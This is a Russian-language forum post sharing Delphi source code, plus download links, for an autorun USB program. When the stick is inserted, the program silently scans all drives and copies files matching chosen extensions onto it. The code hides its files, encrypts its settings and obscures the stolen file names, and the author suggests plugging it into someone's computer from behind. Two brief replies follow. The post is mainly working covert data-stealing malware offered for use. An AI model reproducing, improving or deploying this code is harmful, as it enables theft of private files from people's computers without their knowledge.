Программа для скрытного копирования файлов с компьютера на флэшку.

При вставке съёмного диска программа запускается самостоятельно. Мне не встречались компьютеры с XP где был отключён автозапуск, то есть теоретически можно подкрасться взади вставить флэшку через минуту вытащить уже с нужными файлами. В Windows Vista при вставке вылезает окошко запускать или нет программу, при любом ответе программа запускается. В настройках можно задать ограничение места, и расширения нужных файлов.

Code:

program autorun;

uses Windows,SysUtils,Classes,RC6,ShellApi;
var HM,Handle:THandle;
    Alfavit:string[26]='ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    AlfavitCount,MaxSize,ScanInc,RasInc:integer;
    F,F1:TextFile;
    Files,RasList,FileList,DiskList:TStringList;
    MaxSizeString,RasListString,FileString:String;
const ScanFile='true.lll';
//-----
procedure FindFile(Dir:string);
var
 SR:TSearchRec;
 FindRes:Integer;
begin
 FindRes := FindFirst(Dir + '*.*', faAnyFile, SR);
      while FindRes = 0 do
         begin
           if ((SR.Attr and faDirectory) = faDirectory) and
           ((SR.Name = '.') or (SR.Name = '..')) then
              begin
                FindRes := FindNext(SR);
                Continue;
              end;
           if ((SR.Attr and faDirectory) = faDirectory) then
             begin
               FindFile(Dir + SR.Name + '\');
               FindRes := FindNext(SR);
               Continue;
             end;
             FileList.Add(Dir+SR.Name);
             FindRes := FindNext(SR);
         end;
        FindClose(SR);
end;
//-----
procedure RC6Encrypt(FileName,Key:String);
var Str1,Str2:TFileStream;
begin
Str1:=TFileStream.Create(FileName,fmOpenRead);
Str2:=TFileStream.Create(FileName+'~',fmCreate);
EncryptCopy(Str2,Str1,Str1.Size,Key);
Str1.Free;
Str2.Free;
DeleteFile(FileName);
CopyFile(PChar(FileName+'~'),PChar(FileName),True);
DeleteFile(FileName+'~');
end;
//-----
procedure RC6Decrypt(FileName,Key:String);
var Str1,Str2:TFileStream;
begin
Str1:=TFileStream.Create(FileName,fmOpenRead);
Str2:=TFileStream.Create(FileName+'~',fmCreate);
DecryptCopy(Str2,Str1,Str1.Size,Key);
Str1.Free;
Str2.Free;
DeleteFile(FileName);
CopyFile(PChar(FileName+'~'),PChar(FileName),True);
DeleteFile(FileName+'~');
end;
//-----
function EncodeBase64(const inStr: string): string;

 function Encode_Byte(b: Byte): char;
 const
   Base64Code: string[64] =
     'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+.';
 begin
   Result := Base64Code[(b and $3F)+1];
 end;

var
 i: Integer;
begin
 i := 1;
 Result := '';
 while i <=Length(InStr) do
 begin
   Result := Result + Encode_Byte(Byte(inStr[i]) shr 2);
   Result := Result + Encode_Byte((Byte(inStr[i]) shl 4) or (Byte(inStr[i+1]) shr 4));
   if i+1 <=Length(inStr) then
     Result := Result + Encode_Byte((Byte(inStr[i+1]) shl 2) or (Byte(inStr[i+2]) shr 6))
   else
     Result := Result + '=';
   if i+2 <=Length(inStr) then
     Result := Result + Encode_Byte(Byte(inStr[i+2]))
   else
     Result := Result + '=';
   Inc(i, 3);
 end;
end;
//-----
function GetDirSize(Dir:string):integer;
var
    Fs:TSearchRec;
    Size:integer;
begin
Size:=0;
Dir:=Dir+'*.*';
FindFirst(Dir,faAnyFile,Fs);
if Fs.Name<>'' then
 begin
   Size:=Size+Fs.Size;
   while FindNext(Fs)=0 do
     Size:=Size+Fs.Size;
 end;
FindClose(Fs);
Result:=(Size div 1024) div 1024;
end;
//-----
function ExtFile(FileName: string): string;
var
   i:Integer;
begin
i:=Length(FileName);
while (FileName[i] <> '\') and (i > 0) do
i := i - 1;
Result := Copy(FileName, i + 1, Length(FileName) - i);
end;
//-----
function ApplicationUse(FName:string): boolean;
var
 HFileRes: HFILE;
begin
 Result := false;
 if not FileExists(fName) then exit;
 HFileRes := CreateFile(pchar(fName), GENERIC_READ or GENERIC_WRITE, 0, nil,
   OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
 Result := (HFileRes = INVALID_HANDLE_VALUE);
 if not Result then CloseHandle(HFileRes);
end;
//-----
function ExtRas(const AUrl:string):string;
var
i:Integer;
ms:String;
begin
i:=LastDelimiter('.',AUrl);
ms:=Copy(AUrl,i+1,Length(AUrl)-(i));
Result:=Copy(ms,0,Length(ms));
end;
//-----Íå äîïóñòèòü çàïóñê âòîðîãî ýêçåìïëÿðà
function Check:boolean;
begin
 HM:=OpenMutex(MUTEX_ALL_ACCESS,false,'MyOwnMutex');
 Result:=(HM<>0);
 if HM=0 then
   HM:=CreateMutex(nil,false,'MyOwnMutex');
end;
//-----
function DiskInDrive(const Drive:char):Boolean;
var
   DrvNum:byte;
   EMode:Word;
begin
 result:=false;
 DrvNum:=ord(Drive);
 if DrvNum >= ord('a') then
   dec(DrvNum, $20);
 EMode:=SetErrorMode(SEM_FAILCRITICALERRORS);
 try
   if DiskSize(DrvNum - $40) <> -1 then
     result:=true
   else
     messagebeep(0);
 finally
   SetErrorMode(EMode);
 end;
end;
//-----
function Path:string;
begin
 Result:=ExtractFilePath(ParamStr(0));
end;
//-----
begin
ShellExecute(Handle,nil,PChar(Path),nil,nil,SW_SHOW);
if Check then Exit;
if not FileExists(Path+ScanFile) then
 begin//not FileExists 1
   AssignFile(F,Path+ScanFile);
   Rewrite(F);
   CloseFile(F);
   SetFileAttributes(PChar(Path+ScanFile),faHidden);
   if FileExists(Path+'autorun.ini') then
     begin//if autorun.ini 2
       RC6Decrypt(Path+'autorun.ini','holdem');
       AssignFile(F1,Path+'autorun.ini');
       Reset(F1);
       Readln(F1,MaxSizeString);
       MaxSize:=StrToInt(MaxSizeString);
       Readln(F1,RasListString);
       CloseFile(F1);
       RC6Encrypt(Path+'autorun.ini','holdem');
       SetFileAttributes(PChar(Path+ScanFile),faHidden);
       SetFileAttributes(PChar(Path+'autorun.ini'),faHidden);
       RasList:=TStringList.Create;
       RasList.Text:=StringReplace(RasListString,'***',#13#10,[rfReplaceAll]);
       DiskList:=TStringList.Create;
       for AlfavitCount:=0 to 25 do
         begin//for 3
           if DiskInDrive(Alfavit[AlfavitCount]) then DiskList.Add(Alfavit[AlfavitCount]);
         end;//for 3
       FileList:=TStringList.Create;
       for ScanInc:=0 to DiskList.Count-1 do
         begin//for 4
           if (DiskList[ScanInc]+':\'<>Path) then FindFile(DiskList[ScanInc]+':\');
         end;//for 4
       Files:=TStringList.Create;
       Files.Clear;
       for ScanInc:=0 to FileList.Count-1 do
         begin//for 5
           FileString:=FileList[ScanInc];
           for RasInc:=0 to RasList.Count-1 do
             begin//for 6
               if ExtRas(FileString)=RasList[RasInc] then
                 begin//if 7
                   if not ApplicationUse(FileString) then
                     begin//if 8
                       CopyFile(PChar(FileString),PChar(Path+'VOLUME_ID\'+EnCodeBase64('['+IntToStr(ScanInc)+']'+ExtFile(FileString))),True);
                       if GetDirSize(Path+'VOLUME_ID\')>MaxSize then
                         begin//if 9
                           Exit;
                         end;//if 9
                       end;//if 8
                     end;//if 7
                   end;//for 6
                 end;//for 5
               end//if autorun.ini 2
   else Exit;
end;//not FileExists 1
end.

Полный исходник http://a-alaget.narod.ru/sourse.html

Exe файл http://a-alaget.narod.ru/programs.html

 

Ну лично я всегда отключал автозапуск - и раньше на xp, и сейчас на висте.

- С чего ты взял?
Больше ничего конкретного скзать не могу - такая программа мне не нужна, delphi я не знаю = )